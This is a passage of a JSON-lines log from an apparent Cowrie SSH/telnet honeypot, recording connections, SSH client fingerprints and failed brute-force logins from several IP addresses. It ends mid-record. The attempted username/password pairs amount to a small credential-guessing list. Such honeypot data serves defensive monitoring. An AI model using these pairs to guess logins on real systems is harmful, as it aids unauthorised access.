{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:45.436398Z","src_ip":"159.203.92.129","session":"786f703c8d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aki","password":"123456","message":"login attempt [aki/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:45.447371Z","src_ip":"159.203.92.129","session":"786f703c8d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:46.453688Z","src_ip":"159.203.92.129","session":"786f703c8d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":35240,"dst_ip":"159.203.135.109","dst_port":22,"session":"68ca4815fbf1","protocol":"ssh","message":"New connection: 217.154.192.185:35240 (159.203.135.109:22) [session: 68ca4815fbf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:18.092000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:18.098087Z","src_ip":"217.154.192.185","session":"68ca4815fbf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:18.199686Z","src_ip":"217.154.192.185","session":"68ca4815fbf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123456","message":"login attempt [vpn/vpn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:18.631221Z","src_ip":"217.154.192.185","session":"68ca4815fbf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:19.734067Z","src_ip":"217.154.192.185","session":"68ca4815fbf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52112,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab81aecff076","protocol":"ssh","message":"New connection: 159.203.92.129:52112 (159.203.135.109:22) [session: ab81aecff076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:30.037631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:30.042549Z","src_ip":"159.203.92.129","session":"ab81aecff076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:30.048363Z","src_ip":"159.203.92.129","session":"ab81aecff076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aki","password":"123654","message":"login attempt [aki/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:30.069797Z","src_ip":"159.203.92.129","session":"ab81aecff076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:05:31.079804Z","src_ip":"159.203.92.129","session":"ab81aecff076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":44244,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b72b74770f2","protocol":"ssh","message":"New connection: 91.134.240.52:44244 (159.203.135.109:22) [session: 7b72b74770f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:02.267144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:02.273118Z","src_ip":"91.134.240.52","session":"7b72b74770f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:02.358426Z","src_ip":"91.134.240.52","session":"7b72b74770f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2021","message":"login attempt [postgres/postgres2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:02.713192Z","src_ip":"91.134.240.52","session":"7b72b74770f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:03.797006Z","src_ip":"91.134.240.52","session":"7b72b74770f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":59724,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b05e65e7d9f","protocol":"ssh","message":"New connection: 217.154.192.185:59724 (159.203.135.109:22) [session: 6b05e65e7d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:06.214438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:06.219205Z","src_ip":"217.154.192.185","session":"6b05e65e7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:06.311765Z","src_ip":"217.154.192.185","session":"6b05e65e7d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"1234","message":"login attempt [debian/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:06.713272Z","src_ip":"217.154.192.185","session":"6b05e65e7d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:07.809371Z","src_ip":"217.154.192.185","session":"6b05e65e7d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.14.25.4","src_port":42134,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23fc1d74c07","protocol":"telnet","message":"New connection: 85.14.25.4:42134 (159.203.135.109:23) [session: d23fc1d74c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:09.903925Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39606,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cb55c3f1bb","protocol":"ssh","message":"New connection: 159.203.92.129:39606 (159.203.135.109:22) [session: 21cb55c3f1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:12.608920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:12.613376Z","src_ip":"159.203.92.129","session":"21cb55c3f1bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:12.618453Z","src_ip":"159.203.92.129","session":"21cb55c3f1bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aki","password":"aki","message":"login attempt [aki/aki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:12.630750Z","src_ip":"159.203.92.129","session":"21cb55c3f1bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:13.665161Z","src_ip":"159.203.92.129","session":"21cb55c3f1bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.14.25.4","src_port":57234,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20c590f1230","protocol":"telnet","message":"New connection: 85.14.25.4:57234 (159.203.135.109:23) [session: e20c590f1230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:43.463085Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.14.25.4","src_port":58026,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba19ee916245","protocol":"telnet","message":"New connection: 85.14.25.4:58026 (159.203.135.109:23) [session: ba19ee916245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:45.626563Z"}
{"eventid":"cowrie.session.closed","duration":42.669577836990356,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:52.573362Z","src_ip":"85.14.25.4","session":"d23fc1d74c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41396,"dst_ip":"159.203.135.109","dst_port":22,"session":"f22d04550f2c","protocol":"ssh","message":"New connection: 159.203.92.129:41396 (159.203.135.109:22) [session: f22d04550f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:54.663123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:54.667722Z","src_ip":"159.203.92.129","session":"f22d04550f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:54.673056Z","src_ip":"159.203.92.129","session":"f22d04550f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akiba","password":"akiba","message":"login attempt [akiba/akiba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:54.685176Z","src_ip":"159.203.92.129","session":"f22d04550f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:55.693531Z","src_ip":"159.203.92.129","session":"f22d04550f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f44a0fcb18","protocol":"ssh","message":"New connection: 217.154.192.185:39836 (159.203.135.109:22) [session: 10f44a0fcb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:57.184378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:57.189180Z","src_ip":"217.154.192.185","session":"10f44a0fcb18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ec